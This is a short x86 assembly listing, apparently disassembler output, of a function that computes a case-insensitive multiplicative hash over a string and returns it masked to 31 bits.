mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x43a311
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x43a311
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x43a323
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x43a2db
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret